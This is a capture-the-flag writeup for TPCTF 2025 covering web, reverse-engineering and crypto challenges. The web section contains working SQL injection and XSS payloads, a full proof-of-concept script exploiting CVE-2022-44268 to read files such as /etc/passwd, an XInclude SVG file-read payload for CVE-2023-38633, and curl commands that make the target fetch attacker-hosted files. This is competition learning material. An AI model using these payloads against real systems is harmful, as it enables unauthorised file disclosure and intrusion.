owned this note
owned this note
Published
Linked with GitHub
# TPCTF 2025 Writeup
[TOC]
## Web
### supersqli
```
POST /flag/ HTTP/1.1
Host: localhost
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
User-Agent: python-httpx/0.27.2
Content-Length: 274
Content-Type: multipart/form-data; boundary=f94b597e0e60676bd2e380fe7925d9f7
--f94b597e0e60676bd2e380fe7925d9f7
Content-Disposition: form-data; name="username"
admin
--f94b597e0e60676bd2e380fe7925d9f7
Content-Disposition: x; name="password";
Content-Type: application/form-data
1' UNION SELECT 1,2,'3
--f94b597e0e60676bd2e380fe7925d9f7--
```

Bypass `assert password == users[0].password`:
```sql
' UNION SELECT 1,2,REPLACE(REPLACE('" UNION SELECT 1,2,REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") --',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT 1,2,REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") --') --
```
### baby/safe layout (revenge)
`aa<style>{{content}}<{{content}}>lol`
`img src=x onerror=alert(1)<style>`
### thumbor 1
This challenge vulnerable to https://github.com/entr0pie/CVE-2022-44268 so we can read arbitrary file as example /flag.
Here is the payload we use to generate the `exploit.png` and solve the challenge:
```python
#!/usr/bin/env python3
import sys
import png
import zlib
import argparse
import binascii
import logging
logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
d = zlib.decompressobj()
e = zlib.compressobj()
IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00'
IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \
b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \
b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F'
def parse_data(data: bytes) -> str:
_, data = data.strip().split(b'\n', 1)
return binascii.unhexlify(data.replace(b'\n', b'')).decode()
def read(filename: str):
if not filename:
logging.error('specify a input filename')
return
res = ''
p = png.Reader(filename=filename)
for k, v in p.chunks():
logging.info("chunk %s found, value = %r", k.decode(), v)
if k == b'zTXt':
name, data = v.split(b'\x00', 1)
res = parse_data(d.decompress(data[1:]))
if res:
sys.stdout.write(res)
sys.stdout.flush()
def write(from_filename, to_filename, read_filename):
if not to_filename:
logging.error('specify a output filename')
return
with open(to_filename, 'wb') as f:
f.write(png.signature)
if from_filename:
p = png.Reader(filename=from_filename)
for k, v in p.chunks():
if k != b'IEND':
png.write_chunk(f, k, v)
else:
png.write_chunk(f, b'IHDR', IHDR)
png.write_chunk(f, b'IDAT', IDAT)
png.write_chunk(f, b"tEXt", b"profile\x00" + read_filename.encode())
png.write_chunk(f, b'IEND', b'')
def main():
parser = argparse.ArgumentParser(description='POC CVE-2022-44268')
parser.add_argument('action', type=str, choices=('generate', 'parse'))
parser.add_argument('-i', '--input', type=str, help='input filename')
parser.add_argument('-o', '--output', type=str, help='output filename')
parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd')
args = parser.parse_args()
if args.action == 'generate':
write(args.input, args.output, args.read)
elif args.action == 'parse':
read(args.input)
else:
logging.error("bad action")
if __name__ == '__main__':
main()
```
```sh
convert -size 100x100 xc:black output.png
python3 solver.py -i output.png -o exploit.png -r /flag generate
curl "http://1.95.57.127:3502/thumbor/unsafe/300x/filters:format(png)/http://6.tcp.ngrok.io:15364/exploit.png" -o flag
python3 solver.py -i flag -o foo parse
echo "54504354467b6576316c5f504e475f6d616731636b5f4c66697d0a" | xxd -r -p
```
### thumbor 2
This challenge is vulnerable to https://www.canva.dev/blog/engineering/when-url-parsers-disagree-cve-2023-38633/ which can enable us to read arbitarary file using this payload:
```html
<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<svg width="300" height="300" xmlns:xi="http://www.w3.org/2001/XInclude">
<rect width="300" height="300" style="fill:rgb(255,204,204);" />
<text x="0" y="100">
<xi:include
href=".?../../../../../../../flag"
parse="text"
encoding="ASCII"
>
<xi:fallback>file not found</xi:fallback>
</xi:include>
</text>
</svg>
```
Then we curl the svg making the vulerable app request our svg and process it:
```
curl "http://1.95.57.127:3601/thumbor/unsafe/http://4.tcp.ngrok.io:16592/exploit.svg" -o flag.png
```
After that we will receive image contain our flag: `TPCTF{un5af3_5vg_X1nclude}`

## Rev
### portable
Just single byte xor, find at RVA 0x17f30:


### chase
Pt1: Cheating by changing the memory and complete the game

Pt3: observing with the PPU Viewer in FCEUX

Pt2: it has the hidden level 6 need to patch correctly when you're on level 4


### obfuscator
By solver:
```
sbox1 right after sbox0
1572 is aes decryptBlockGeneric
1571 is aes encryptBlockGeneric
1573 is aes expandKeyGeneric
For solve i breakpointed right before ret inside chrome debugger and checked write address
Plaintext flag was in there
```

### linuxpdf
```python=
from hashlib import md5
import string
import itertools
hashes = b'8\xf8\x8a;\xc5p!\x0f\x8a\x8d\x95X[F\xb0e\x00\x83\x05Z\xe8\x0c\xdc\x8b\xd5\x93x\xb8b\x8ds?\xcb\x00\xfa}\xaf\xfb\xd7\xac\xec\x13\xb0i]\x93Z\x04\xbc\x0f\x00\xc2\x9c\xc0\xfd8\x01\xc7\xfd\xd3\x15\xc7\x82\x99\x9b\xd4\xcb\x00+\xa2\xd0\x1a\xf1-\x9b\xe3\x1a+D2<\x1aOG\x00\xdd\xee\xba\xf0\x02Rz\x9e\xadx\xbd\x16hEs\xcc\x00\xbf\x95\xb8\x994\xa1\xb5U\xe1\t\x0f\xec\xdf\xd3\xda\x9f\x00\xb6B,0\xb0)8S_\x8ed\x8d`\xa8{\x94\x00\x08\xc1\xb7fC\xaf\x8d\xd5\x0c\xb0m\x7f\xdd<\xf8\xed\x00B\xd6\x97\x19\xf9p\x88\xf0e@\xf4\x12\xdc\x17\x06\xfb\x00\xa1\xf2=\xa6\x16\x15@\x0e{\xd9\xear\xd65g\xeb\x00N$o\n]\xd3\xceYF_\xf3\xd0.\xc4\xf9\x84\x00\xb8\xcf%\xf9c\xe8\xe9\xf4\xc3\xfd\xda4\xf6\xf0\x1a5\x00-\x98\xd8 \x83\\u\xa9\xf9\x81\xadM\xb8&\xbf\x8e\x00p.\xad\x08\xa3\xddV\xb3\x13L|8A\xa6R\xaa\x00\xd2\xd5W\xb6\x13f+\x92\xf3\x99\xd6\x12\xfb\x91Y\x1e\x00\xe4B+c \xed\x98\x9e~<\xb9\x7f6\x9c\xba8\x00q\x805\x86\xc6pY\xdd\xa3%%\xce\x84LPy\x00\x83\xb3q\x80\x1d\n\xde\x07\xb5\xc4\xf5\x1e\x8cb\x15\xe2\x00\xb0\xd1\xb4\x88[\xc2\xfd\xc5\xa6e&i$Hl_\x00y,\x9e\x7f\x05\xc4\x07\xc5o;\xecL\xa7\xe5\xc1q\x008U\xe5\xa5\xbb\xc1\xcb\xe1\x8an\xab]\xd9|\x06<\x00\x88mE\xe0E\x1b\xbb\xa7\xc04\x1f\xe9\n\x95O4\x00:C|\xbee\x91\xea4\x89d%\x85n\xae{e\x0040Ig\xa0g0\x8avp\x1f\x05\xc0f\x85Q\x00\xd6\xaf|O\xed\xcf+gw\xdf\x8e\x83\xc92\xf8\x83\x00\xdf\x88\x93\x1e~\xef\xdf\xcc+\xb8\rJOW\x10\xfb\x00\xcb\x0f\xc8\x13uZE\xceY\x84\xbf\xba\x15\x84|\x1e\x00'
hashes = hashes.strip(b'\x00').split(b'\x00')
print(hashes)
flag_found =b''
for hash in hashes[::-1]:
for j in string.printable:
for k in string.printable:
if md5(j.encode() + k.encode() + flag_found).digest() == hash:
flag_found = j.encode() + k.encode() + flag_found
print(flag_found)
```
### magicfile
The checker is trying to find the string match with our input, like it compare each char of our inp.
```python=
#!/usr/bin/python3
with open("./magicfile_c970e3503feebf8274571f09d27cdd2f", "rb") as f:
data = f.read()
f.close()
start = data.find(b'\x01\x00\x02\x00\x1C\x04\x1E\xF1\x10') + 380
#end = d.find(b'Please input the fla')
size = 0x000000000000bdf0 * 0x178
unit = 0x178
magics = data[start:start+size]
#typ will only vary between 1 and 3`
#1 means = and 3 means any so we can ignore it
flag = []
for i in range(0x2bd3,0x2bd3-99,-1 ):
cur_magic = magics[i * unit:(i + 1) * unit]
type_ = cur_magic[0x6]
val = cur_magic[0x20]
reln = cur_magic[0x4]
# if (val == ord("}")):
print(val, type_, chr(reln))
print(cur_magic)
print(f"{i:x}...")
flag.append(val)
print(bytes(flag)[::-1])
```
We parse all the magic chars, then found the correct one return "Congrat...." and it's flag.
### stone-game
AI is stupid so just follow this algo:
```
a b c d e f g
We: 0 0 0 0 e f g
AI: 0 0 0 0 e 0 g
We: 0 0 0 0 1 0 1
AI: 0 0 0 0 1 0 0
We: 0 0 0 0 0 0 0
```
3 rounds guaranteed win by sending `[a,b,c,d,0,0,0] [0,0,0,0,e-1,0,g-1] [0,0,0,0,1,0,0]`
```python=
from pwn import *
context.log_level = 'error'
io = remote('1.95.128.179', 3646)
io.sendlineafter(b'Press Enter to start...\n', b'')
for q in range(100):
io.recvline()
data = io.recvline().decode().strip()
print(data)
io.recvuntil(b"Current stone count:\n")
stones = []
for j in range(7):
stones.append(int(io.recvline().strip().decode().split(': ')[1].split(' ')[0]))
print(stones)
to_send = str(stones[0]) + " " + str(stones[1]) + " " + str(stones[2]) + " " + str(stones[3]) + " 0 0 0"
io.sendlineafter(b"e.g.: 0 1 0 2 0 0 0):\n", to_send.encode())
io.recvuntil(b"AI is thinking...")
io.recvuntil(b"Current stone count:\n")
stones = []
for j in range(7):
stones.append(int(io.recvline().strip().decode().split(': ')[1].split(' ')[0]))
print(stones)
for j in range(7):
if stones[j] > 0:
stones[j] -= 1
to_send = str(stones[0]) + " " + str(stones[1]) + " " + str(stones[2]) + " " + str(stones[3]) + " " + str(stones[4]) + " " + str(stones[5]) + " " + str(stones[6])
io.sendlineafter(b"e.g.: 0 1 0 2 0 0 0):\n", to_send.encode())
io.recvuntil(b"AI is thinking...")
io.recvuntil(b"Current stone count:\n")
stones = []
for j in range(7):
stones.append(int(io.recvline().strip().decode().split(': ')[1].split(' ')[0]))
print(stones)
to_send = str(stones[0]) + " " + str(stones[1]) + " " + str(stones[2]) + " " + str(stones[3]) + " " + str(stones[4]) + " " + str(stones[5]) + " " + str(stones[6])
io.sendlineafter(b"e.g.: 0 1 0 2 0 0 0):\n", to_send.encode())
io.recvuntil(b"You ")
io.recvline()
print(io.recvline().decode().strip())
io.interactive()
```
## Crypto
### encrypted chat
Do xors with `TPCTF{` to find some meaningful English text to begin with:

Then we write some script and can recover first half of the flag:
```python=
from base64 import b64decode
good = "abcdefghijklmnopqrstuvwxyz "
good = [ord(x) for x in good]
data = open("messages.txt", "r").readlines()[0]
data = b64decode(data.strip())
pt1 = b"TPCTF{r4C3_c0nd1t10N_. We need to capitalize on this positive feedback by mapping out clear, strategic proposals that not only impress the board further but also"
flag = data[3042:3242]
ct1 = data[1275:1475]
ct2 = data[1514:1714]
ct3 = data[1814:2014]
ct4 = data[2094:2294]
ct5 = data[2827:3027]
ct6 = data[3340:3540]
while True:
d = input().strip('\n')
pt = pt1 + d.encode()
t = len(pt)
print(pt.decode())
for u in [ct1, ct2, ct3, ct4, ct5, ct6]:
try:
print(bytes([u[i] ^ pt[i] ^ flag[i] for i in range(t)]).split(b'\n')[0].decode())
except:
print("Error")
```
This gives the first half and we can track backwards to get entire sentence:
```
b' help sharing the first part of the flag: TPCTF{r4C3_c0nd1t10N_. We need to capitalize on this positive feedback by mapping out clear, strategic proposals that not only impress the board further but also solidify our position for future opportunities.'
```
Now we just search for "second part of the flag" and similarly recover entire flag.
```python=
from base64 import b64decode
good = "abcdefghijklmnopqrstuvwxyz "
good = [ord(x) for x in good]
data = open("messages.txt", "r").readlines()[0]
data = b64decode(data.strip())
pt1 = b"second part of the flag"
backwards = 0
ct0 = data[7617-backwards:7617-backwards+len(pt1)]
ct1 = data[8662-backwards:8662-backwards+len(pt1)]
ct2 = data[8125-backwards:8125-backwards+len(pt1)]
ct3 = data[9722-backwards:9722-backwards+len(pt1)]
ct4 = data[9162-backwards:9162-backwards+len(pt1)]
ct5 = data[7865-backwards:7865-backwards+len(pt1)]
ct6 = data[8393-backwards:8393-backwards+len(pt1)]
ct7 = data[9428-backwards:9428-backwards+len(pt1)]
ct8 = data[8903-backwards:8903-backwards+len(pt1)]
flag = ct0
# while True:
# d = input().strip('\n')
pt = pt1
t = len(pt)
# print(pt.decode())
for u in [ct0, ct1, ct2, ct3, ct4, ct5, ct6, ct7]:
try:
print(bytes([u[i] ^ pt[i] ^ flag[i] for i in range(t)]).split(b'\n')[0])
print()
except:
print("Error")
```
We get `TPCTF{r4C3_c0nd1t10N_4nD_k3Y_r3u23}`
### randomized random
```python=
import random
from tqdm import trange
from sage.all import GF, Matrix, vector
RNG = random.Random()
def construct_a_row(RNG):
row = []
for i in range(624 * 6):
out = RNG.getrandbits(32)
RNG.getrandbits(32)
out >>= 24
for _ in range(8):
row.append(out & 1)
out >>= 1
return row
L = []
for i in trange(19968):
state = [0]*624
temp = "0"*i + "1"*1 + "0"*(19968-1-i)
for j in range(624):
state[j] = int(temp[32*j:32*j+32],2)
RNG.setstate((3,tuple(state+[624]),None))
L.append(construct_a_row(RNG))
L = Matrix(GF(2),L)
M = L.T
M.rank(), M.dimensions()
# chosing row that make M full rank
M = M[:, [0]+list(range(32,19968))]
# we must have full rank here so we can get inverse of matrix
assert M.rank() == 19937
from pwn import remote, process, context
from tqdm import trange
import random
payload = b"0\n" * (624 * 6) # 3744 lines
io = remote("1.95.57.127", 3001)
io.send(payload)
outs = []
for _ in range(624 * 6):
line = io.recvline().strip().decode()
outs.append(int(line))
print(f"Received {len(outs)} values")
known = []
for num in outs:
num >>= 24
for _ in range(8):
known.append(num & 1)
num >>= 1
print(len(known), known)
R = vector(GF(2), known)
res = (M.solve_right(R)).list()
res = [res[0]] + [0]*31 + res[1:]
init = "".join(list(map(str, res)))
state = []
for i in range(624):
state.append(int(init[32*i:32*i+32],2))
RNG = random.Random()
RNG.setstate((3,tuple(state+[624]),None))
arrs1 = []
arrs2 = []
for _ in range(624 * 4):
arrs1.append(RNG.getrandbits(32))
arrs2.append(RNG.getrandbits(32))
flag_appended = [num1 - num2 for num1, num2 in zip(outs, arrs1)]
print(f"flag_appended: {flag_appended}")
for i in range(200):
known_flag = [None] * i
try:
for flag_bit, idx in zip(flag_appended, arrs2):
idx_ = idx % i
if known_flag[idx_] is None:
known_flag[idx_] = flag_bit
else:
assert known_flag[idx_] == flag_bit
print(i, bytes(known_flag))
except:
pass
```
Output:
```
flag_appended: [105, 95, 105, 51, 77, 99, 51, 84, 84, 114, 105, 51, 114, 70, 114, 51, 70, 10, 55, 110, 49, 73, 51, 55, 84, 80, 95, 84, 49, 95, 57, 55, 95, 84, 57, 84, 105, 122, 57, 84, 69, 69, 57, 84, 95, 95, 73, 57, 123, 95, 112, 70, 48, 84, 51, 125, 110, 67, 123, 57, 105, 70, 57, 10, 51, 70, 80, 99, 99, 51, 51, 55, 69, 95, 77, 95, 125, 51, 123, 77, 95, 95, 125, 105, 57, 84, 67, 84, 84, 69, 77, 84, 70, 112, 51, 122, 125, 51, 125, 99, 84, 10, 10, 51, 69, 112, 95, 57, 77, 123, 105, 84, 69, 49, 51, 57, 99, 51, 51, 123, 125, 10, 99, 48, 77, 51, 110, 51, 84, 51, 69, 95, 95, 125, 123, 49, 84, 49, 69, 80, 84, 10, 73, 95, 84, 84, 84, 84, 95, 67, 125, 95, 84, 55, 105, 114, 84, 95, 67, 49, 114, 69, 110, 110, 57, 55, 57, 95, 51, 112, 84, 114, 112, 70, 122, 73, 57, 110, 51, 125, 122, 100, 84, 123, 49, 80, 77, 84, 77, 84, 125, 73, 125, 70, 51, 69, 55, 84, 73, 77, 84, 110, 73, 123, 51, 57, 57, 67, 95, 51, 100, 77, 95, 10, 77, 57, 99, 55, 51, 51, 110, 84, 114, 69, 67, 84, 84, 49, 99, 122, 114, 100, 48, 55, 49, 114, 73, 122, 77, 95, 80, 99, 84, 100, 69, 51, 110, 51, 55, 110, 49, 84, 112, 110, 112, 99, 55, 51, 10, 110, 10, 48, 112, 57, 84, 95, 80, 77, 110, 69, 99, 80, 123, 125, 73, 84, 49, 114, 55, 57, 55, 51, 100, 84, 51, 100, 49, 84, 125, 57, 70, 57, 49, 84, 110, 10, 84, 70, 55, 114, 84, 95, 84, 80, 69, 69, 70, 70, 51, 67, 51, 84, 49, 69, 110, 84, 51, 122, 80, 80, 80, 125, 95, 57, 112, 48, 95, 110, 99, 67, 112, 110, 95, 49, 10, 125, 49, 55, 100, 48, 112, 84, 95, 84, 114, 73, 125, 112, 57, 73, 77, 80, 123, 100, 70, 57, 57, 80, 70, 84, 49, 77, 105, 95, 80, 84, 84, 10, 73, 122, 55, 84, 122, 69, 51, 69, 70, 99, 69, 77, 125, 84, 48, 70, 57, 51, 67, 84, 77, 51, 105, 112, 122, 84, 73, 122, 67, 95, 57, 73, 57, 84, 51, 57, 84, 99, 77, 10, 99, 99, 84, 105, 95, 69, 48, 84, 84, 51, 95, 122, 84, 95, 84, 105, 84, 112, 99, 100, 10, 55, 57, 84, 125, 95, 114, 114, 125, 51, 95, 84, 105, 114, 112, 105, 73, 105, 105, 95, 80, 122, 80, 49, 95, 73, 84, 95, 99, 95, 84, 73, 48, 95, 73, 51, 125, 55, 125, 77, 48, 77, 77, 55, 51, 80, 114, 73, 112, 80, 49, 10, 99, 69, 69, 49, 73, 73, 49, 80, 114, 105, 57, 70, 51, 55, 95, 57, 95, 80, 10, 73, 84, 84, 84, 57, 49, 51, 95, 80, 70, 57, 73, 95, 105, 70, 100, 80, 84, 51, 69, 110, 77, 57, 69, 84, 110, 55, 112, 123, 51, 57, 99, 112, 95, 110, 73, 51, 49, 69, 105, 84, 95, 100, 122, 80, 123, 122, 123, 57, 49, 84, 123, 114, 84, 51, 125, 77, 55, 114, 123, 122, 80, 55, 84, 73, 51, 73, 55, 122, 57, 123, 80, 110, 51, 69, 69, 95, 125, 100, 55, 49, 100, 110, 80, 51, 10, 73, 95, 57, 105, 84, 84, 57, 49, 112, 125, 57, 84, 114, 67, 10, 84, 49, 100, 77, 84, 77, 84, 105, 57, 70, 51, 51, 48, 67, 80, 57, 70, 100, 114, 55, 77, 84, 57, 99, 77, 49, 55, 84, 123, 100, 84, 48, 48, 105, 57, 73, 112, 51, 51, 95, 114, 112, 110, 99, 95, 49, 105, 51, 49, 84, 51, 112, 99, 49, 49, 95, 48, 57, 99, 55, 112, 84, 125, 84, 100, 48, 99, 57, 77, 57, 10, 77, 95, 84, 100, 77, 69, 10, 112, 84, 84, 51, 123, 84, 122, 57, 67, 73, 57, 125, 51, 49, 51, 55, 70, 70, 51, 57, 48, 48, 67, 99, 84, 100, 51, 123, 51, 84, 80, 84, 99, 67, 51, 48, 48, 57, 51, 51, 67, 100, 100, 73, 84, 55, 69, 57, 84, 84, 114, 55, 110, 84, 84, 84, 84, 95, 77, 48, 110, 112, 84, 49, 84, 51, 10, 84, 49, 55, 55, 57, 84, 84, 114, 99, 105, 84, 99, 77, 99, 49, 48, 51, 80, 105, 84, 122, 95, 123, 73, 57, 80, 99, 84, 80, 49, 51, 10, 67, 122, 105, 48, 57, 100, 48, 49, 84, 67, 95, 84, 57, 95, 95, 105, 10, 125, 57, 105, 84, 84, 112, 110, 67, 110, 69, 84, 112, 110, 80, 112, 114, 48, 95, 84, 57, 48, 105, 123, 69, 125, 99, 48, 57, 84, 84, 95, 51, 51, 125, 114, 48, 10, 112, 67, 123, 110, 10, 84, 84, 48, 51, 95, 73, 95, 55, 95, 105, 125, 69, 67, 84, 105, 105, 57, 77, 51, 122, 99, 95, 73, 69, 48, 105, 10, 77, 99, 100, 95, 99, 84, 51, 110, 70, 73, 80, 84, 57, 95, 84, 77, 84, 67, 95, 10, 10, 69, 99, 95, 49, 80, 10, 51, 51, 70, 57, 80, 84, 110, 84, 122, 100, 123, 84, 84, 100, 49, 48, 125, 55, 112, 73, 80, 77, 100, 51, 84, 100, 57, 67, 123, 49, 125, 84, 114, 51, 122, 112, 69, 67, 84, 95, 84, 51, 55, 10, 48, 100, 57, 69, 77, 99, 51, 110, 48, 57, 51, 80, 100, 99, 125, 48, 84, 69, 95, 84, 51, 123, 84, 67, 99, 48, 99, 123, 84, 105, 70, 114, 51, 114, 123, 99, 73, 84, 80, 73, 95, 57, 48, 84, 125, 67, 84, 10, 95, 55, 114, 57, 110, 114, 84, 95, 70, 49, 105, 69, 123, 57, 122, 10, 77, 95, 84, 95, 55, 49, 49, 55, 122, 84, 95, 95, 110, 112, 49, 114, 80, 73, 125, 84, 105, 51, 73, 105, 105, 114, 49, 99, 95, 57, 69, 84, 95, 84, 49, 67, 122, 55, 84, 51, 125, 48, 112, 114, 95, 67, 123, 10, 70, 51, 67, 110, 125, 10, 48, 123, 125, 100, 57, 55, 57, 67, 122, 77, 51, 51, 84, 77, 95, 125, 77, 10, 123, 73, 80, 73, 84, 80, 95, 48, 84, 84, 112, 51, 105, 122, 125, 114, 123, 57, 84, 67, 10, 112, 95, 51, 84, 95, 84, 51, 51, 125, 57, 51, 84, 73, 123, 105, 57, 57, 51, 112, 51, 112, 95, 10, 10, 57, 122, 110, 84, 51, 122, 69, 95, 123, 95, 48, 110, 48, 99, 100, 105, 84, 99, 84, 114, 122, 67, 73, 70, 51, 57, 48, 112, 114, 51, 112, 99, 80, 114, 95, 80, 84, 123, 105, 80, 80, 51, 123, 99, 95, 123, 80, 51, 84, 122, 84, 84, 69, 84, 123, 69, 70, 48, 84, 95, 84, 95, 100, 100, 84, 73, 105, 10, 57, 84, 84, 100, 84, 73, 55, 110, 57, 95, 57, 51, 51, 51, 99, 84, 122, 73, 84, 122, 70, 110, 77, 51, 70, 49, 10, 51, 57, 99, 95, 51, 114, 80, 112, 49, 84, 51, 100, 69, 122, 125, 114, 55, 51, 114, 110, 95, 110, 77, 48, 99, 70, 57, 84, 80, 114, 70, 57, 95, 84, 48, 70, 105, 51, 114, 95, 95, 55, 49, 77, 51, 100, 70, 105, 105, 70, 49, 69, 80, 57, 57, 84, 95, 57, 114, 73, 84, 51, 114, 48, 114, 84, 99, 10, 100, 84, 57, 49, 84, 84, 57, 123, 100, 100, 95, 112, 84, 84, 99, 99, 95, 84, 105, 84, 112, 100, 57, 114, 55, 99, 70, 84, 57, 80, 80, 77, 99, 70, 84, 70, 73, 69, 114, 122, 84, 84, 57, 95, 123, 51, 112, 114, 112, 55, 122, 70, 73, 48, 51, 114, 67, 114, 10, 84, 112, 84, 80, 123, 48, 99, 73, 99, 80, 49, 55, 114, 95, 112, 80, 100, 67, 99, 122, 114, 84, 49, 84, 57, 77, 69, 114, 105, 55, 114, 122, 84, 84, 69, 99, 123, 105, 73, 80, 77, 49, 100, 77, 48, 70, 51, 110, 95, 114, 125, 57, 57, 57, 51, 112, 95, 123, 122, 105, 10, 73, 84, 123, 48, 123, 77, 95, 80, 84, 84, 95, 125, 73, 95, 84, 84, 112, 49, 84, 51, 84, 125, 55, 69, 95, 48, 95, 51, 84, 95, 99, 114, 100, 67, 112, 125, 84, 95, 122, 73, 99, 123, 110, 80, 99, 77, 80, 114, 57, 57, 95, 77, 114, 73, 123, 123, 77, 67, 69, 69, 125, 84, 114, 80, 49, 77, 10, 57, 10, 57, 84, 84, 125, 105, 95, 95, 99, 122, 70, 73, 57, 105, 10, 49, 73, 84, 100, 84, 84, 122, 57, 95, 73, 84, 73, 114, 57, 57, 67, 105, 51, 67, 55, 51, 95, 84, 84, 84, 84, 122, 55, 123, 105, 84, 57, 57, 112, 55, 51, 69, 123, 122, 122, 84, 123, 55, 100, 57, 84, 114, 55, 105, 70, 125, 110, 110, 57, 10, 49, 73, 73, 80, 84, 123, 57, 73, 70, 77, 51, 84, 114, 67, 123, 125, 73, 123, 84, 49, 110, 70, 67, 95, 99, 84, 57, 99, 84, 110, 73, 67, 69, 69, 69, 122, 123, 100, 55, 95, 49, 100, 100, 70, 67, 67, 51, 123, 70, 105, 80, 84, 123, 69, 100, 125, 99, 10, 70, 84, 69, 10, 123, 112, 51, 114, 69, 51, 51, 67, 100, 70, 80, 99, 95, 70, 69, 55, 100, 125, 84, 99, 99, 110, 77, 69, 84, 48, 84, 80, 48, 51, 95, 123, 84, 51, 57, 67, 95, 122, 57, 123, 67, 95, 51, 77, 57, 73, 73, 55, 105, 105, 55, 10, 84, 51, 77, 84, 105, 51, 122, 95, 67, 73, 57, 51, 49, 57, 105, 51, 57, 51, 84, 51, 84, 114, 69, 80, 99, 80, 123, 99, 100, 99, 100, 48, 49, 57, 57, 57, 95, 110, 105, 57, 100, 84, 84, 125, 73, 51, 51, 84, 110, 55, 48, 114, 84, 73, 105, 70, 51, 122, 70, 110, 73, 123, 122, 100, 77, 57, 123, 48, 123, 95, 125, 110, 84, 95, 49, 84, 114, 110, 95, 10, 55, 57, 100, 95, 57, 112, 114, 84, 125, 84, 112, 84, 125, 123, 10, 77, 100, 122, 112, 84, 57, 84, 55, 49, 84, 84, 77, 69, 51, 122, 84, 123, 49, 51, 84, 70, 51, 10, 114, 105, 99, 105, 100, 99, 73, 84, 84, 110, 57, 112, 48, 49, 84, 48, 77, 84, 105, 57, 51, 67, 49, 84, 125, 105, 112, 77, 80, 77, 84, 122, 67, 48, 57, 112, 55, 99, 105, 80, 95, 51, 10, 57, 100, 49, 122, 69, 57, 80, 99, 100, 84, 69, 10, 110, 57, 48, 110, 110, 80, 10, 84, 112, 84, 95, 84, 73, 95, 84, 84, 84, 122, 49, 70, 77, 57, 123, 69, 73, 100, 84, 73, 51, 70, 105, 55, 69, 73, 84, 100, 51, 70, 84, 69, 84, 51, 51, 84, 95, 114, 84, 84, 105, 112, 57, 84, 69, 110, 84, 100, 114, 48, 84, 95, 84, 57, 57, 123, 95, 84, 49, 114, 123, 114, 51, 57, 77, 55, 10, 95, 49, 51, 114, 73, 67, 123, 95, 67, 100, 10, 57, 70, 112, 95, 95, 80, 110, 55, 84, 57, 55, 51, 105, 51, 105, 122, 99, 112, 112, 49, 125, 73, 84, 84, 51, 123, 95, 69, 99, 57, 51, 110, 51, 95, 55, 95, 67, 70, 114, 70, 125, 84, 67, 122, 84, 73, 69, 95, 80, 10, 112, 10, 95, 110, 84, 110, 84, 122, 125, 48, 51, 84, 95, 77, 51, 122, 100, 122, 67, 69, 84, 77, 114, 84, 112, 51, 57, 105, 69, 122, 123, 84, 122, 69, 112, 123, 57, 95, 84, 110, 80, 67, 51, 70, 57, 51, 123, 48, 48, 77, 110, 110, 114, 69, 77, 95, 49, 84, 70, 57, 122, 84, 48, 123, 125, 57, 57, 84, 114, 48, 114, 48, 112, 73, 73, 10, 95, 95, 105, 99, 49, 84, 122, 69, 49, 84, 112, 57, 125, 55, 10, 122, 51, 99, 95, 67, 112, 122, 55, 105, 10, 80, 10, 105, 69, 100, 10, 105, 114, 84, 70, 84, 123, 95, 48, 84, 84, 67, 95, 70, 77, 84, 67, 80, 55, 99, 49, 84, 49, 70, 84, 57, 112, 55, 110, 73, 95, 69, 70, 51, 100, 123, 95, 57, 100, 84, 112, 95, 84, 73, 122, 51, 125, 99, 57, 69, 84, 114, 49, 95, 57, 73, 99, 10, 69, 70, 51, 84, 123, 57, 51, 105, 114, 105, 84, 114, 70, 125, 112, 105, 49, 80, 57, 110, 95, 67, 100, 125, 49, 51, 99, 80, 125, 10, 80, 110, 123, 100, 10, 67, 70, 110, 84, 84, 125, 73, 77, 48, 112, 77, 57, 105, 125, 67, 80, 70, 95, 84, 70, 10, 57, 84, 70, 95, 84, 73, 48, 55, 95, 95, 84, 77, 73, 122, 84, 57, 84, 67, 77, 77, 100, 105, 69, 95, 99, 55, 100, 57, 55, 125, 51, 48, 69, 70, 69, 51, 67, 100, 99, 123, 105, 105, 84, 51, 67, 99, 112, 100, 100, 84, 48, 84, 95, 100, 48, 125, 114, 70, 99, 84, 110, 112, 84, 99, 105, 95, 57, 73, 49, 84, 114, 100, 110, 10, 99, 73, 99, 77, 114, 84, 80, 69, 77, 48, 110, 67, 95, 112, 84, 51, 84, 69, 55, 51, 84, 105, 122, 80, 80, 48, 49, 73, 84, 51, 55, 105, 69, 110, 123, 95, 57, 49, 95, 49, 67, 80, 84, 84, 48, 10, 70, 69, 69, 57, 84, 110, 95, 48, 123, 55, 95, 49, 55, 84, 69, 57, 84, 100, 55, 84, 67, 112, 114, 57, 55, 84, 105, 55, 99, 125, 48, 112, 73, 112, 114, 84, 112, 84, 57, 67, 48, 95, 84, 51, 123, 55, 123, 57, 69, 95, 57, 114, 84, 95, 84, 55, 105, 84, 55, 10, 80, 73, 10, 77, 73, 105, 10, 99, 112, 100, 123, 95, 105, 114, 123, 10, 100, 84, 110, 84, 84, 67, 51, 95, 51, 55, 10, 70, 125, 84, 84, 55, 84, 48, 84, 99, 73, 122, 73, 123, 112, 10, 125, 112, 49, 51, 80, 84, 51, 49, 100, 114, 84, 57, 95, 100, 84, 84, 123, 125, 114, 122, 51, 99, 112, 123, 80, 84, 77, 110, 105, 49, 49, 114, 57, 51, 110, 84, 80, 84, 95, 125, 57, 77, 57, 84, 122, 48, 123, 122, 73, 10, 122, 105, 99, 57, 57, 123, 70, 55, 84, 69, 84, 69, 55, 10, 99, 95, 51, 49, 84, 70, 10, 57, 123, 57, 95, 105, 48, 84, 51, 122, 70, 95, 51, 84, 84, 51, 51, 57, 95, 84, 73, 51, 110, 95, 49]
